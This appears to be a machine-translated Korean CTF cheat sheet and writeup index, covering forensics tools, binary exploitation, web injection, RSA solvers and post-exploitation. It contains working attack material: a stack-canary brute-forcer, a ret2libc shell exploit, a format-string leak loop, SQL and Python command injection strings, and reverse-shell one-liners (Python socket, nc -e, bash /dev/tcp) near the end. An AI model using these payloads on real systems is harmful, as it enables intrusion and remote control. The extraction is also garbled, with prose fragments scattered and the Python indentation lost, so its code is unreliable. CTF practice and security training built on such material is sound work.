내가 작성한 일부 사이버 CTF에 대한 글/파일
또한 CTF 리소스 목록과 수많은 일반적인 CTF 문제를 다루는 포괄적인 치트 시트 도 포함했습니다.
메모
이제 hackback.zip에 이 저장소의 웹 미러가 있습니다.
자원
CTF 치트 시트
사이버셰프
일반적인 암호
RSA
베이스16, 32, 36, 58, 64, 85, 91, 92
다음은 제가 정리한 슬라이드입니다: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf
에서 액세스할 수 있습니다.file <file.xyz>
steghide extract -sf <file.xyz>
stegseek <file> <password list>
binwalk -M --dd=".*" <file.xyz>
exiftool <file.xyz>
strings <file.xyz>
hexedit <file.xyz>
ghex <file.xyz>
unzip <file.docx>
grep -r --text 'picoCTF{.*}'
egrep -r --text 'picoCTF{.*?}
ltrace ./<file>
ltrace -s 100 ./<file>
팩스기 오디오:
SSTV(느린 스캔 TV) 오디오(달 물건)
스펙트로그램 이미지
피치, 속도, 방향 변경...
DTMF(이중 톤 다중 주파수) 전화 키
multimon-ng -a DTMF -t wav <file.wav>
카세트테이프
모스 부호
스테그솔브
맨 먼저
디픽스
포토샵으로 처리한 것이 있는지 확인(하이라이트 확인)
zsteg
제스테그
픽스리커버리
crc32fix
PCRT
png-crc-수정
png체크
photorec <file.bin>
.img
파일을 마운트합니다:binwalk -M --dd=".*" <fileName>
file
실행하고 Linux 파일 시스템 파일을 선택합니다.losetup /dev/loop<freeLoopNumber> <fileSystemFile>
tcpflow -r <file.pcap>
checksec <binary>
rabin2 -I <binary>
binary-security-check <bin>.exe
seccomp-tools dump ./<binary>
readelf -s <binary>
rabin2 -z <binary>
python -c "import pwn; print(pwn.p32(<intAddr>))
python -c "import pwn; print(pwn.p64(<intAddr>))
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
process.interactive()
사용하여 이 작업을 수행합니다. pwn cyclic <numChars>
dmesg | tail | grep segfault
오류가 발생한 위치를 확인합니다.pwn cyclic -l 0x<errorLocation>
제어 명령 포인터에 대한 무작위 오프셋 보기ROPgadget --ropchain --binary <binary>
디버거에서 스택 카나리아 찾기
gs
또는 fs
(각각 32비트 및 64비트)에서 가져옵니다. 0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
rax
로 이동됩니다.ir rax
)에 무엇이 있는지 확인하여 현재 카나리아가 무엇인지 확인하세요.정적 카나리아
추가의
스택 카나리아를 부적절하게 덮어쓰면 __stack_chk_fail
이 호출됩니다.
카나리아는 현재 스택의 TLS
구조에 저장되며 security_init
에 의해 초기화됩니다.
정적 4바이트 카나리아를 무차별 대입하는 간단한 스크립트:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
%1$s
- 스택의 첫 번째 값(내가 이해한 바에 따르면 버퍼 바로 옆에 있는 값)을 문자열로 인쇄합니다.%2$s
- 두 번째 값을 문자열로 인쇄하고 아이디어를 얻습니다.for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
%hhx
1바이트를 누출합니다(int 크기의 절반).%hx
2바이트 누수(int 크기의 절반)%x
4바이트 누출(int 크기)%lx
8바이트 누출(긴 크기)system() 라이브러리 함수를 호출하기 위해 EIP를 덮어쓰고 이것이 실행해야 하는 것(이 예에서는 "/bin/sh"가 포함된 버퍼)도 전달합니다.
좋은 설명:
좋은 예(3:22:44로 이동):
execve("/bin/sh")에 대한 주소 가져오기
one_gadget <libc file>
libc 파일과 위치를 이미 알고 있는 경우(즉, 유출할 필요가 없습니다...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
멋진 가이드: https://opensource.com/article/20/4/linux-binary-analytic
apktool d *.apk
strings
. 정적 분석을 사용하여 문자열을 찾고 계산합니다. https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
grep <string>
실행하면 gef가 자동으로 검색 패턴과 일치하는 문자열을 표시합니다. wpscan --url <site> --plugins-detection mixed -e
api 키와 함께 사용하세요.echo <token> > jwt.txt
john jwt.txt
sqlmap --forms --dump-all -u <url>
'OR 1=1--
입력하세요.SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
로 평가됩니다.1=1
true로 평가되며 이는 OR
문을 충족하고 쿼리의 나머지 부분은 --
로 주석 처리됩니다.__import__.('subprocess').getoutput('<command>')
__import__.('subprocess').getoutput('ls').split('\n')
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
-fs
사용하여 크기 필터링 암호 탐지기
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
숫자 n
인수분해할 수 있을 때 이것을 사용하세요
오래된
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
p-1 | B!
q - 1
B
보다 큰 인수를 갖습니다. from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
https://github.com/mufeedvh/basecrack
ssh <username>@<ip>
ssh <username>@<ip> -i <private key file>
sshfs -p <port> <user>@<ip>: <mount_directory>
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
nc <ip> <port>
기계 발견
netdiscover
머신 포트 스캐닝
nmap -sC -sV <ip>
리눅스 열거
enum4linux <ip>
SMB 열거
smbmap -H <ip>
SMB 공유에 연결
smbclient //<ip>/<share>
./linpeas.sh
sudo -l
find / -perm -u=s -type f 2>/dev/null
accesschk.exe -uwcqv *
sc qc <service name>
nc -lnvp <port>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -e /bin/sh <ip> <port>
bash -i >& /dev/tcp/<ip>/<port> 0>&1
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
눌러 netcat 세션을 종료하고 로컬에서 stty raw -echo
실행하세요.fg
명령(필요한 경우 나중에 작업 ID)을 사용하여 세션에 다시 들어갑니다.export TERM=xterm
실행하여 터미널 에뮬레이터를 xterm으로 변경합니다(필요하지 않을 수도 있음).export SHELL=bash
실행하여 쉘을 bash로 변경하십시오(필요하지 않을 수도 있음).rlwrap
설치rlwrap
앞에 두십시오.rlwrap nc -lvnp 1337
DNS 오류 해결
dig <site> <recordType>
바이너리를 다른 아키텍처로 실행
linux64 ./<binary>
linux32 ./<binary>
MS 매크로 추출:
CNC G코드 보기